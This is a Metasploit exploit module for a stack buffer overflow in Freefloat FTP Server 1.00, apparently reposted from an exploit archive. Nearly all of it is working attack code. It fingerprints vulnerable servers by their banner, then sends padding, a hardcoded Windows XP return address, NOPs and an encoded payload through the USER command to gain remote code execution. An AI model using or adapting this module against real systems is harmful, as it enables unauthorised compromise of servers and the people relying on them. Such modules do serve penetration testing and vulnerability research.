ExploitFixes
Freefloat FTP Server Buffer Overflow Exploit (Meta) 2010-12-08 09:15:38

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Freefloat FTP <= 1.00 Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Freefloat FTP service version 1.00.
This module uses the USER command to trigger the overflow.
},
'Author' =>
[
'0v3r', # original version
'Muhamad Fadzil Ramli' # metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'EDB', '15689' ],
[ 'URL', 'http://www.freefloat.com/software/freefloatftpserver.zip' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'RPORT' => 21
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\xff\x20",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 (EN)', { 'Ret' => 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]
],
'DisclosureDate' => 'December 5 2010',
'DefaultTarget' => 0))
deregister_options('FTPUSER','FTPPASS')
end

def check
connect
disconnect
if (banner =~ /FreeFloat Ftp Server \(Version 1\.00\)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit

connect
print_status("Trying target #{target.name}...")

buf = rand_text_alpha(230)
buf << [target.ret].pack('V')
buf << make_nops(16)
buf << payload.encoded
#buf << rand_text_alpha(1000 - buf.length)

#send_cmd( ['USER',buf],false )
send_user(buf)

handler
disconnect
end
end